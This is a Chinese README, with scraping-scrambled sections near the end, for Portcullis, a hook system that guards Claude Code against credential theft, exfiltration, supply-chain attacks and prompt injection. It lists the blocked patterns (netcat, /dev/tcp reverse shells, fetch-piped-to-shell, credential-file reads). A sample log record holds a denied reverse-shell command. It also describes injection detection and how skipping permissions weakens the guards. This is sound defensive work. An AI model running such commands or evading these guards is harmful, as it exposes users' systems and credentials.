Magonia-Research/Portcullis
GitHub: Magonia-Research/Portcullis
Portcullis 是一款为 Claude Code 提供确定性安全强化的 hook 系统,通过代码而非模型判断来防御凭据泄露、数据外传、供应链攻击和 prompt 注入等威胁。
Stars: 0 | Forks: 0
# Portcullis — 针对 Claude Code 和 OpenCode 的安全强化
通过贯穿整个攻击面的分层安全防护,对编码 agent 进行强化:命令执行、文件 I/O、凭据处理、agent 生成、MCP 工具调用、prompt 注入防御和输出验证 —— 基于 OWASP LLM Top 10 原则。
本仓库提供了同一套防护集的两种实现:**Claude Code**(已完成)和
**OpenCode**(正在进行中,尚未强制执行)。参见[套件支持](#harness-support)。
## 套件支持
**Claude Code** — `hooks/`,Python,仅使用标准库。已完成,这也是本 README 其余部分所
描述的内容。在 `hooks/hooks.json` 中有 20 个 hooks,每个事件对应一个进程,每个进程 5 秒超时(SessionStart 的 sigma 更新为 10 秒),设计上采用 fail-open 机制。
**OpenCode** — `.opencode/plugins/portcullis/`,基于 Bun 的 TypeScript。**正在进行中,尚未强制执行**:拒绝操作会被一个永远无法匹配的前缀测试捕获,`ask` 仅对 Bash 有效,prompt 凭据防护未绑定到任何事件,且容器优先和 Sigma 尚未移植。932 个测试中有 851 个通过。对于任何你依赖的功能,请使用 Claude Code 实现。
值得了解的移植约束是:**Claude Code 的决策模型是三值的(deny / ask / allow),而 OpenCode 的是二值的。** Portcullis 严重依赖 `ask` —— 大多数防护措施会选择提示而不是阻止,正是为了让硬拒绝专门保留给零误报模式。一个没有 `ask` 的套件必须在每个启发式防护上选择过度阻止还是阻止不足。
## 覆盖范围图
```
┌─────────────────────────────────────────────┐
│ UserPromptSubmit │
│ • blocks pasted private keys, warns on tokens │
└───────────────────────┬─────────────────────┘
│
┌───────────────────────▼─────────────────────┐
│ Claude processes │
│ (CLAUDE.md rules via /portcullis:harden) │
└───────────────────────┬─────────────────────┘
│
── PreToolUse — gate before the call ───────────────────────────────────
Bash → container-first · sigma · exfil · supply-chain · git · cred-read
Write/Edit → credential-leak scan · filesystem destination guard
Read → filesystem credential-store gate
WebFetch → outbound URL: SSRF / exfil-domain / encoded-blob
mcp__* → credential + exfil scan of tool arguments
Agent → least-privilege checks + subagent constraint injection
── PostToolUse — inspect the result ────────────────────────────────────
Bash → output credential scan + redact
Read → injection defense + output credential scan + redact
Agent|SendMsg → parent-targeting injection / credential-leak scan
── Session lifecycle ───────────────────────────────────────────────────
SessionStart → sigma rule update (24h) · re-inject security baseline
SubagentStop → validate subagent output before the parent trusts it
PreCompact / SessionEnd / Stop → compaction audit · cleanup · checklist
Every gating/prompting guard's decision is clampable by the tiered
strictness config (deny > ask > redact > warn > allow > off); see below.
```
## Hooks
在 `hooks/hooks.json` 中注册 —— 共 20 个条目,每个超时时间为 5 秒,SessionStart 的 sigma 更新为 10 秒除外。
| Hook | 事件 · 匹配器 | 功能说明 |
|------|-----------------|--------------|
| 容器优先 | PreToolUse · Bash | 拒绝 `rm -rf`、混淆、逃逸技术(nsenter/ptrace)、内核操纵。对特权过高的容器和宿主机包安装进行询问 |
| Sigma 引擎 | PreToolUse · Bash | 评估已编译的 SigmaHQ process_creation 规则(Linux/macOS,medium 及以上;默认 106 条)。始终**询问**,从不拒绝 —— 这些规则是广泛的启发式规则 |
| 安全调度器 | PreToolUse · Bash | 在一个进程中运行五个防护:**exfil**(中继域名、netcat、`/dev/tcp`、数据 POST、DNS-label、元数据 SSRF、scp/rsync)、**supply-chain**(typosquat、fetch-to-shell、不安全的安装)、**git**(针对 CVE-2024-32002 / CVE-2025-48384 的 submodule RCE、config RCE 原语、`GIT_*` 环境变量、`.git/hooks` 写入)、**credential-read**(`.env`、`~/.ssh`、`~/.aws`、keychains)、**self-protection**(shell 对 Portcullis 和 Claude Code 自身配置的写入)。扫描命令的前 8 KiB,超出部分触发询问 |
| 凭据防护 | PreToolUse · Write/Edit | 检测文件写入中的 API key、token、私钥和密码 |
| 文件系统防护 | PreToolUse · Write/Edit/MultiEdit/NotebookEdit/Read | 保护写入*目标*(凭据存储、shell 初始化、持久化、`/etc`、插件配置)并限制凭据存储读取。规范化路径以抵抗 `../` 和符号链接规避。所有发现均**询问** |
| MCP 防护 | PreToolUse · `mcp__.*` | 扫描每个 MCP 工具的参数以查找凭据/exfil 模式 —— 任何服务器都可能成为 exfil 通道 |
| Agent 防护 | PreToolUse · Agent | 最小权限生成:阻止凭据泄露,检测注入、危险模式、过高权限、敏感路径、prompt 大小。将约束注入到子 agent 的 prompt 中。对滚动一小时内生成的进程进行速率限制(10 次 ask / 20 次 deny),可通过 `agent_guard.py --reset-spawns ` 清除 |
| WebFetch 防护 | PreToolUse · WebFetch | 拒绝已知的 exfil/隧道域名;对嵌入式凭据、编码 blob 或敏感查询参数进行询问 |
| 输出凭据扫描器 | PostToolUse · Bash, Read | 原位脱敏高置信度凭据(AWS、GitHub、GitLab、npm、Anthropic、私钥);对低置信度凭据发出警告 |
| 注入防御 | PostToolUse · Read | 检测文件内容中的间接 prompt 注入 —— 角色操纵、伪造系统标签、指令覆盖、零宽字符、隐藏的 HTML。警告 Claude 将文件内容视为数据 |
| Agent 输出防护 | PostToolUse · Agent\|SendMessage | 扫描子 agent 和 agent 间的输出,以检测针对父级的注入、泄露的凭据、嵌入的命令 |
| 子 Agent 停止防护 | SubagentStop | 在父级信任子 agent 输出之前对其进行验证。遇到凭据时**阻止**;注入、嵌入命令和 exfil 指标仅为建议性,因为 Stop 系列的拒绝原因会作为其下一条指令反馈给模型 —— 一个引用了触发内容的阻止会直接进入重试 |
| Prompt 凭据防护 | UserPromptSubmit | 阻止粘贴的私钥;对 API token 发出警告;建议使用环境变量替代 |
| Sigma 更新 | SessionStart | 自动更新 SigmaHQ 规则(24 小时冷却时间) |
| 会话基线 | SessionStart · PreCompact | 重新注入 TIER 0–3 指令层级,使其在压缩后依然存在;记录压缩事件(从不阻止压缩) |
| 会话清理 | SessionEnd | 移除每个会话的生成状态;清理过期文件(>24h) |
| 停止检查清单 | Stop | 安全卫生提醒(密钥、容器、临时文件) |
**优先级。** 当多个 hooks 在一次调用中触发时,Claude Code 应用 `deny > ask > allow` 的优先级。调度器返回其五个防护中最高的结果 —— 每个防护都会运行,因此较低严重性的匹配永远不会抢先于硬拒绝 —— 并且硬拒绝会绕过项目级别的抑制。
**在跳过权限的情况下运行只会获得仅拒绝的强制执行。** 在 `bypassPermissions` 下,hook 的 `ask` 会被直接丢弃而不是显示出来,因此 Portcullis 在 `ask` 阶段引发的每一个发现 —— 大多数文件系统、MCP、agent、git 和 credential-read 检查,以及每一个 Sigma 匹配 —— 都会静默通过。在任何模式下,hook 的 `deny` 仍然是绝对的。以上是从 Claude Code 2.1.220 bundle 中读取的内容,而不是端到端的测量结果,因此请将具体的阶梯列表视为近似值,而将其形态视为可靠的:如果你跳过权限,你将仅依赖于硬拒绝。
**Fail-open(失败开放)。** 一个崩溃、超时或输出无效的 hook 永远不会阻止调用 —— 安全 hooks 不应该因为自身的 bug 破坏合法的工作。Agent 防护通过两阶段设计进一步强化了这一点:它首先构建约束注入响应,然后再运行检测,这样即使检测崩溃,子 agent 仍然能接收到约束。
Fail-open 是有意为之的,这使得任何能够*引发*失败的东西都成了绕过手段。因此,调度器隔离了每个防护(一个防护引发异常只会影响其自身的判决),限制了它扫描的文本(5 秒超时是一个安全边界 —— 一个在扫描中途被杀死的 hook 永远不会交付其判决),并将“我无法完全检查此项”转化为 `ask`,而不是静默通过。
## 技能:`/portcullis:harden`
将行为规则注入到项目的 `CLAUDE.md` 中,这些规则是 hooks **无法**强制执行的:永远不在响应中回显凭据、拒绝嵌入在抓取内容中的指令、MCP 数据最小化、凭据占位符以及多步攻击意识。Hooks 在执行时强制执行硬边界;而这些规则涵盖了 Claude 在生成响应时的自身判断。这两层之所以同时存在,是因为 hooks 是 fail-open 的。
## 安装
**Claude Code**
```
git clone https://github.com/Magonia-Research/Portcullis.git
```
仓库在 `.claude-plugin/marketplace.json` 提供了一个 marketplace manifest,因此请将 checkout 添加为 marketplace,而不是直接指向插件目录:
```
/plugin marketplace add /path/to/Portcullis
/plugin install portcullis@magonia-research
```
**Sigma 规则**(可选,仅限 Claude Code)—— 为编译器创建一个 venv 并克隆 SigmaHQ。其他所有防护在没有它的情况下也能工作:
```
cd /path/to/Portcullis && ./scripts/install.sh
```
venv 和编译后的规则会被写入 `~/.claude/portcullis/sigma/`,而不是插件目录中 —— 插件目录是一个缓存,每次重新安装都会替换它,保留在其中的任何东西都会随之消失。只需运行一次,而不是每次更新都运行。如果你的 `python3` 已经有了匹配的 `pyyaml`,事先运行 `python3 -m venv --system-site-packages ~/.claude/portcullis/sigma/venv` 可以让脚本跳过其 `pip` 步骤,什么都不安装。
**OpenCode**(正在进行中 —— 参见[注意事项](#opencode-status-work-in-progress))—— 依赖项分布在两个 manifest 中,并且插件自身没有声明 `@opencode-ai/plugin`,因此需要同时安装两者。无需构建步骤;OpenCode 直接加载 TypeScript。
```
cd .opencode && bun install # @opencode-ai/plugin
cd .opencode/plugins/portcullis && bun install # minimatch, typescript, @types/node
```
## 决策模型
config clamp 使用的侵入性阶梯为 `deny > ask > redact > warn > allow > off`。
| 决策 | 含义 | 示例 |
|---|---|---|
| **deny** | 零误报模式,无需提示直接硬阻止 | 中继/exfil 域名、netcat、`/dev/tcp` 反向 shell、fetch-piped-to-shell、`rm -rf`、十六进制/八进制混淆、逃逸技术、agent prompt 中的高置信度凭据、生成速率限制 |
| **ask** | 必须由用户批准 | 数据 POST、DNS-label exfil、元数据 SSRF、scp/rsync/sftp、curl 上传、typosquat、宿主机安装、凭据文件读取、受保护的写入目标、Sigma 匹配、submodule RCE、git config RCE 原语、agent 注入或过高权限 |
| **redact** | 输出中的凭据值被替换为 `[REDACTED: pattern_name]` | 仅限高置信度密钥;保留周边上下文 |
| **warn** | 通过 `systemMessage` 注入上下文 | 凭据处理提醒、文件读取时的注入警告、低置信度警报 |
| **allow + context** | 软提醒 | 宿主机上的解释器、容器建议、子 agent 约束注入 |
### OWASP LLM Top 10 覆盖范围
| ID | 威胁 | 防御 |
|----|--------|---------|
| LLM01 | Prompt 注入 | 注入防御、agent 防护模式、CLAUDE.md 规则 |
| LLM02 | 不安全的输出处理 | 输出扫描器、子 agent 停止防护、注入防御 |
| LLM06 | 敏感信息泄露 | 凭据防护、输出扫描器、文件系统防护、prompt 凭据防护 |
| LLM08 | 过度代理 | Agent 防护(模式、权限、速率限制、约束)、容器优先 |
## 分级严格性配置
默认情况下,每个门控防护都会满负荷运行,因此 Portcullis 出厂即严格,并且从不会默默削弱自身的防护。配置只能沿着阶梯向下**放宽**防护 —— 它永远无法捏造更严格的阻止,因此零误报拒绝保证在任何配置下都成立。
| 文件 | 信任级别 | 权限 |
|------|-------|-----|
| `~/.claude/portcullis.json` | 受信任 —— 只有你能写入你的主目录 | 将任何防护放宽到任何阶梯(包括 `off`);通过 `projects` 按路径覆盖作用域 |
| `/.claude/portcullis.json` | 不受信任 —— 克隆的仓库可能包含它 | 仅可将阻止性防护放宽至 `ask`,因此恶意仓库无法在它与 exfiltration 之间致盲防护 |
```
{
"preset": "balanced",
"guards": {
"webfetch_guard": { "mode": "ask" },
"sigma_engine": { "mode": "warn", "severity_floor": "high" }
},
"projects": {
"/path/to/a/trusted/repo": { "preset": "permissive" }
}
}
```
预设:**strict**(满负荷默认值)、**balanced**(将两个误报率最高的阻止性防护放宽至 `ask`,Sigma 宽松至 `warn`)、**permissive**(对所有内容进行提示,不阻止任何内容)。针对特定防护的 `mode` 会覆盖预设;`severity_floor` 用于调节哪些 Sigma 规则会触发。任何缺失或格式错误的内容都会默认 fail-open。十二个门控防护是可配置的 —— 十一个 PreToolUse 防护加上子 agent 停止防护建议性防护(注入防御、输出扫描器、agent 输出防护、prompt 凭据防护)始终开启。
## 按项目允许列表
创建 `.claude/hook-allowlist.json` 以抑制特定的模式或路径:
```
{
"exfil_guard": {
"suppress_patterns": ["curl_post_data"],
"suppress_paths": ["src/api/client.py"]
},
"credential_guard": {
"suppress_paths": ["tests/fixtures/**", "**/*.example"]
},
"injection_defense": {
"suppress_patterns": ["role_manipulation"],
"suppress_paths": ["docs/security/**"]
}
}
```
## 记住批准:`/portcullis:remember`
Claude Code 自带的“不再询问”功能在 Portcullis 的提示上不起作用。PreToolUse hook 的 `ask` 作为最终的权限决定返回,*而不会*查询 `permissions.allow`,因此添加一条 allow 规则 —— 无论是手动、通过 `/permissions` 还是从对话框添加 —— 都无济于事。hook 也无法看到你按下了哪个按钮:没有 hook 事件携带该答案。因此,Portcullis 无法在提示本身上提供“记住此项”的复选框;它需要在事后执行一条显式命令。
批准该提示,然后:
```
/portcullis:remember # remember the most recent ask
/portcullis:remember list # show what is remembered
/portcullis:remember forget # undo one
```
这个确切的命令会停止提示。关于该机制的所有设计都是刻意收窄的:
| | |
|---|---|
| 转换 | `ask` → `allow` 仅此而已 —— 硬 `deny` 永远不可记忆 |
| 匹配 | 一个精确的命令(空白字符被折叠),无通配符 |
| 作用域 | 仅限此项目;`--global` 为可选 |
| 有效期 | 30 天;`--days N`,或者如果你坚持可以使用 `--forever` |
| 存储 | `~/.claude/portcullis/memos.json`,模式 `0600` —— 绝不在仓库中 |
| 拒绝项 | `NEVER_ALLOWLIST` / `_NEVER_SUPPRESSIBLE` 中的任何内容(凭据读取、git RCE 原语、exfil 中继),以及任何包含凭据的命令 |
| 记录 | 每次命中都会写入一条包含 `portcullis.memo_hit` 和 `portcullis.natural: ask` 的 `allow` 记录 |
存储位于 `$HOME` 下,原因与分层配置相同:`/.claude/` 是不受信任的,仓库内的 memo 文件会让该仓库 —— 或 agent —— 解除正在监视它的防护。对存储的写入操作本身也受到(`filesystem_guard`, `portcullis_memos`)的保护,涵盖了
文件编辑工具和 Bash 路径,并且每个条目都使用
`~/.claude/portcullis/memo.key` (0600) 中的密钥进行了 HMAC 签名:不是由 `remember` 命令写入的条目将被忽略。
Portcullis 自身的控制面位于不可抑制列表中,因此没有任何 memo 可以解除它。
当噪声呈现为类形状而不是命令形状时,首选更改配置:200 个被记住的例外是一个信号,表明防护的 `mode` 或 `severity_floor` 才是真正的解决方法。
## 已知摩擦及如何缓解
寻求最窄的缓解方案:记住一个已批准的命令(`/portcullis:remember`)→ 允许列表添加一个模式或路径 → 软化单个防护(`guards..mode`)→ 选择一个预设 → 为单个项目禁用一个防护(仅限主目录配置)。
**允许列表无法抑制硬 `deny`。** 硬拒绝在设计上是不可抑制的,因此要放宽它,需要在你的**受信任的**主目录配置中使用预设或针对特定防护的 `mode` —— 绝不能使用仓库文件。这正是阻止克隆的仓库通过将其加入允许列表,从而移除阻挡在它和你的凭据之间的防护的手段。
| 触发防护的合法工作流 | 防护 | 级别 | 缓解方案 |
|------|------|------|------|
| 使用宿主机包安装而不是使用容器 | container-first | ask | 使用容器,或者在主目录配置中放宽 `container_first` |
| 开发服务器、`base64`、解释器单行命令被广泛规则捕获 | sigma_engine | ask | `severity_floor: high`,或者 `sigma_engine: warn` |
| `curl … \| sh` 安装程序 (rustup, nvm) | supply_chain_guard | **deny** | `balanced` 预设 —— 硬拒绝,不可加入允许列表 |
| 全局安装(`npm i -g`, `pipx`) | supply_chain_guard | ask | 允许列表添加 `global_install`,或者使用容器 |
| 通过 `scp` / `rsync` / `curl -d` 访问你自己的主机 | exfil_guard | ask | 允许列表添加 `remote_copy` / `curl_post_data`;中继域名保持拒绝状态 |
| 在开发中读取项目的 `.env` | credential_access_guard | ask | 在 `suppress_paths` 下对该路径加入允许列表 |
| Fixtures / `.env.example` 中的假密钥 | credential_guard | ask | 占位符已被跳过;否则使用 `suppress_paths` |
| 编辑 `~/.zshrc` / `~/.gitconfig` | filesystem_guard | ask | 将该路径加入允许列表,或者为该项目禁用防护 |
| Shell 写入 `~/.claude/portcullis.json`、`settings.json`、`~/.claude/portcullis/` 下的任何内容 | filesystem_guard | ask | 有意为之 —— 这些内容决定了防护接下来的行为,并且不可被抑制或记住。手动重新编译 sigma 规则出于同样的原因也会提示 |
| 受信任仓库中的递归 submodule 克隆 | git_guard | ask | 为该仓库将 `recursive_submodule_clone` 加入允许列表 |
| 大量子 agent 生成触发速率限制 | agent_guard | **deny** | `permissive` —— 10/20 的限制不可通过其他方式调整 |
| 携带 base64 或长 token 的 MCP 调用 | mcp_guard | ask | 为该服务器将模式加入允许列表 |
| 带有编码查询 blob 的 WebFetch URL | webfetch_guard | ask | 将其加入允许列表,或者使用 `balanced`;exfil 域名保持拒绝状态 |
如果 Portcullis 整体上过于吵闹,请设置一次 `preset`,而不是逐个禁用防护。
## 查询安全日志
每个决策都是一条 OpenTelemetry 日志记录,带有 OCSF Detection Finding 投影(`ocsf.class_uid` 2004)。严重性是从单个表中标准化的,因此过滤器永远不会对决策进行文本匹配,而且 OTel 和 OCSF 的严重性绝不会产生分歧。未识别的决策会在 `WARN` 级别报告,绝不会是静默的 `INFO`。
**有一个盲点值得预先说明:** 被关闭的防护报告的级别会*低于* `allow`,因此没有基于严重性的警报会向你显示被禁用的覆盖范围。这是故意的 —— 替代方案让抑制落地在 Medium 级别,这使得 `severity_id >= 3` 规则在什么都没做的防护上触发得最猛 —— 但这意味着你必须按名称查询 `off` 和 `portcullis.suppressed`。
在写入记录之前,凭据值会从每个自由文本字段中被掩盖 —— `command.line`、`file.path`、模式名称,以及在防护自身的 `extra` 中可访问的每个字符串,包括嵌套列表、字典和键。被掩盖的值会变为 `[REDACTED:]`,并且字段名称会出现在 `portcullis.redacted_fields` 中,因此你仍然可以分辨出*存在*一个密钥及其类型。URL userinfo 保留其 scheme、user 和 host(`https://admin:[REDACTED:url_userinfo]@internal.example.com/api`),因为这些正是调查所需的字段。这很重要,因为对于 `allow` 决策也会写入记录,并且 `~/.claude/hooks/security.log` 的生命周期比会话更长。
**这两个数据接收点携带的详细程度不同,这是有意为之。** 文件接收点(位于 0700 模式目录下的 0600 模式)是完整的记录。macOS 统一日志获取的是一个扣留了自由文本字段的投影 —— `command.line` 和 `file.path`,它们被列在 `portcullis.withheld_fields` 中,并用 `portcullis.detail_in` 指明要查看的文件。原因有两个:`log emit` 将其有效负载作为 argv 元素传递,机器上的所有其他账户都可以从 `ps` 中读取它;并且统一日志*存储*本身也是广泛可读的 —— 任何本地用户都可以 `log show` 一个任意的子系统。凭据在这两者中都已经过掩盖,但命令行本身就很敏感。检测规则所依据的一切 —— OTel 严重性字段、整个 `ocsf.*` 投影、防护、决策、模式、会话 id —— 都保留在统一日志中,因此告警在那里起作用,而调查则在文件中进行。
")' ~/.claude/hooks/security.log
# 每个 guard 的 decision,按频率从高到低排列 — 便于快速了解在你转向
# preset 之前,究竟是哪个 guard 在实际产生摩擦
jq -r '[.Attributes."portcullis.guard", .Attributes."portcullis.decision"] | @tsv' \
~/.claude/hooks/security.log | sort | uniq -c | sort -rn
# macOS Unified Log — 注意绝对路径:`log` 是一个 zsh *builtin*,因此直接
# 使用 `log show ...` 会报错 "too many arguments",而不会查询任何内容
/usr/bin/log show --predicate 'subsystem == "com.anthropic.claude-code.hooks"' \
--last 1h --info --style ndjson
# Linux journald(在所有平台上 syslog ident 均为 cc-security)
journalctl -t cc-security --since "1 hour ago" -o json-pretty
```
`)、`Body` (`: ()`)、`TraceId`(当已知时的会话 ID)以及 `Attributes`。
| 属性 | 含义 |
|---|---|
| `portcullis.guard` | 哪个防护做出了决定 —— `exfil_guard`、`agent_guard`、… |
| `portcullis.decision` | 经过 clamp 之后发出的决定 |
| `portcullis.natural` | config clamp *之前* 的决定;仅当两者不同时存在 |
| `portcullis.config_downgraded` | 当分层配置放宽调用时为 `true` |
| `portcullis.memo_hit` | 当记住的批准跳过提示时为 `true` |
| `portcullis.suppressed` | 当项目允许列表静默匹配时为 `true` |
| `portcullis.pattern` | 匹配的模式名称(已清洗,就像所有其他自由文本字段一样) |
| `portcullis.redacted_fields` | 哪些字段的凭据被掩盖了;如果没有则不存在 |
| `portcullis.withheld_fields` | 仅限统一日志 —— 从投影中丢弃的字段 |
| `portcullis.detail_in` | 仅限统一日志 —— 保存完整记录的文件 |
| `command.line`, `file.path` | 自由文本;仅限文件接收点 |
| `tool.name` | 正在被门控的工具(`Bash`、`Write`、…) |
| `session.id` | Claude Code 会话 ID |
| `event.kind`, `event.category` | ECS 风格的分类 |
| `ocsf.*` | Detection Finding 投影 —— `class_uid` 2004,`type_uid` 200401,以及上面的严重性和 action id |
写入文件接收点的一条记录:
```
{"Timestamp":"2026-07-27T20:44:04.849-04:00","ObservedTimestamp":"2026-07-27T20:44:04.849-04:00",
"SeverityNumber":17,"SeverityText":"ERROR","EventName":"portcullis.exfil_guard",
"Body":"exfil_guard: deny (nc_connect)","TraceId":"be1e6bbd-…",
"Attributes":{"portcullis.guard":"exfil_guard","portcullis.decision":"deny",
"portcullis.pattern":"nc_connect","command.line":"nc -e /bin/sh 10.0.0.1 4444",
"tool.name":"Bash","session.id":"be1e6bbd-…","event.kind":"security_detection",
"event.category":"security","ocsf.category_uid":2,"ocsf.class_uid":2004,
"ocsf.activity_id":1,"ocsf.type_uid":200401,"ocsf.severity_id":4,"ocsf.action_id":2}}
```
## 组件
```
hooks/hooks.json Hook registration (matchers, timeouts)
hooks/security_dispatcher.py Bash dispatcher: exfil + supply-chain + git + cred-read + self-protection
hooks/exfil_guard.py Data exfiltration patterns
hooks/supply_chain_guard.py Typosquats + dangerous installs
hooks/git_guard.py Clone-time RCE + config hijack
hooks/credential_access_guard.py Credential-file read pre-block
hooks/container_first.sh Container-first enforcement (bash/jq)
hooks/sigma_engine.py SigmaHQ evaluator; asks on match (stdlib only)
hooks/sigma_compiler.py Compiles sigma YAML -> JSON (needs pyyaml venv)
hooks/sigma_update.sh Rule auto-update on session start
hooks/credential_guard.py Credential leaks in file writes
hooks/filesystem_guard.py Write-destination + credential-store-read guard
hooks/mcp_guard.py MCP tool argument scanning
hooks/agent_guard.py Agent spawn guard + constraint injection
hooks/webfetch_guard.py Outbound WebFetch URL guard
hooks/output_credential_scanner.py Credential scan + redact (Bash, Read)
hooks/injection_defense.py Indirect prompt injection defense
hooks/prompt_credential_guard.py Pasted-credential detection
hooks/subagent_stop_guard.py Subagent output validation
hooks/agent_output_guard.py Inter-agent output scan
hooks/session_baseline.py Baseline re-injection + compaction audit
hooks/session_cleanup.py Per-session state cleanup
hooks/stop_checklist.py Session-end hygiene checklist
hooks/normalize.py Shared command canonicalizer
hooks/patterns.py Shared detection + credential patterns
hooks/hook_logging.py OTel/OCSF logging + config clamp + memo check
hooks/config.py Tiered strictness config
hooks/allowlist.py Per-project suppression
hooks/memo.py Remembered approvals (ask -> allow) + CLI
.claude-plugin/plugin.json Plugin metadata
.claude-plugin/marketplace.json Marketplace manifest
commands/remember.md /portcullis:remember command
skills/harden/SKILL.md /portcullis:harden skill
scripts/install.sh Setup (venv + sigma compilation)
scripts/uninstall.sh Cleanup
tests/test_plugin.py Guard-logic tests
tests/test_config.py Config clamp tests (69 assertions)
tests/test_sigma_engine.py Sigma engine tests (subprocess)
tests/test_redos.py Super-linearity check over every compiled pattern
```
**OpenCode 移植版**(正在进行中)
```
.opencode/plugins/portcullis/portcullis-opencode.ts Entry point; maps events to routes
.opencode/plugins/portcullis/dispatcher/route.ts Route layer
.opencode/plugins/portcullis/guards/ 15 guards mirroring the Python set
.opencode/plugins/portcullis/config.ts Tiered strictness
.opencode/plugins/portcullis/allowlist.ts Per-project suppression
.opencode/plugins/portcullis/logger.ts OTel/OCSF logging + clampAndEmit
.opencode/plugins/portcullis/normalize.ts Command canonicalizer
.opencode/plugins/portcullis/tests/ 13 files for 15 guards (851/932 passing)
```
## 环境要求
**Claude Code** — Claude Code · Python 3.9+(运行时仅限标准库;故意不提供 requirements 文件) · 用于 container-first hook 的 `jq` · 用于 sigma 更新的 Git。`pyyaml` 由 `scripts/install.sh` 安装到 `~/.claude/portcullis/sigma/` 下的 venv 中,且仅在*编译* sigma 规则时需要,在 hook 运行时绝不需要。
**OpenCode**(正在进行中) — OpenCode · Bun · `minimatch`(运行时),Script 和 `@types/node`(开发)。`@opencode-ai/plugin` 1.18.5 在 `.opencode/package.json` 中声明;插件源码并未导入它,而是依赖 OpenCode 的加载器调用导出的函数。
## 许可证
GPL-3.0-or-later — 见 [LICENSE](LICENSE)。
决策 → 严重性映射
| 决策 | `SeverityText` | `SeverityNumber` | `ocsf.severity_id` | `ocsf.action_id` | |---|---|---|---|---| | `deny`, `block` | `ERROR` | 17 | 4 (High) | 2 (Denied) | | `redact` | `WARN` | 15 | 3 (Medium) | 1 (Allowed) | | `ask` | `WARN` | 14 | 3 (Medium) | 0 (Unknown) | | `warn` | `WARN` | 13 | 2 (Low) | 1 (Allowed) | | `warn_low` | `INFO` | 11 | 2 (Low) | 1 (Allowed) | | `allow` | `INFO` | 9 | 1 (Info) | 1 (Allowed) | | `off`, `debug` | `DEBUG` | 5 | 1 (Info) | 1 / 0 | | *unknown* | `WARN` | 13 | 3 (Medium) | 0 (Unknown) | `ask` 映射到 action_id 0 而不是 1,因为在写入时结果确实是未知的 —— 用户尚未回答。查询配方
``` # Fallback file (JSON Lines) — 每行一条 OTel 记录 tail -f ~/.claude/hooks/security.log # 按 OCSF severity 划分的高危发现 — 非脆弱文本匹配 jq -c 'select(.Attributes."ocsf.severity_id" >= 4)' ~/.claude/hooks/security.log # 按 severity 文本、按 decision 或按 guard jq -c 'select(.SeverityText == "ERROR")' ~/.claude/hooks/security.log jq -c 'select(.Attributes."portcullis.decision" == "redact")' ~/.claude/hooks/security.log jq -c 'select(.Attributes."portcullis.guard" == "agent_guard")' ~/.claude/hooks/security.log # 调用 tiered config 宽松规则(记录其源自的 natural decision) jq -c 'select(.Attributes."portcullis.config_downgraded" == true)' ~/.claude/hooks/security.log # 因用户已记住该审批而跳过的 Prompts jq -c 'select(.Attributes."portcullis.memo_hit" == true)' ~/.claude/hooks/security.log # 在写入前已掩盖 credential 的记录(值从未存储) # 除非确实有内容被掩盖,否则该 key 不存在,因此这绝不会 # 在空列表上产生 false-positives jq -c 'select(.Attributes."portcullis.redacted_fields")' ~/.claude/hooks/security.log # 已关闭的 Coverage — 对任何基于 severity 的告警不可见 jq -c 'select(.Attributes."portcullis.decision" == "off" or .Attributes."portcullis.suppressed")' ~/.claude/hooks/security.log # 单个 session 的所有内容,按顺序排列(TraceId 镜像 session.id) jq -c 'select(.TraceId == "记录字段
记录是扁平的 OTel JSON:`Timestamp` 和 `ObservedTimestamp`(ISO 8601 带有本地 UTC 偏移量,毫秒精度 —— 不是 `Z`,因此在与基于 UTC 的源进行比较之前请进行标准化)、`SeverityNumber`、`SeverityText`、`EventName` (`portcullis.标签:AI代码助手, DNS 反向解析, Hooks, Streamlit, StruQ, 安全防护, 访问控制, 逆向工具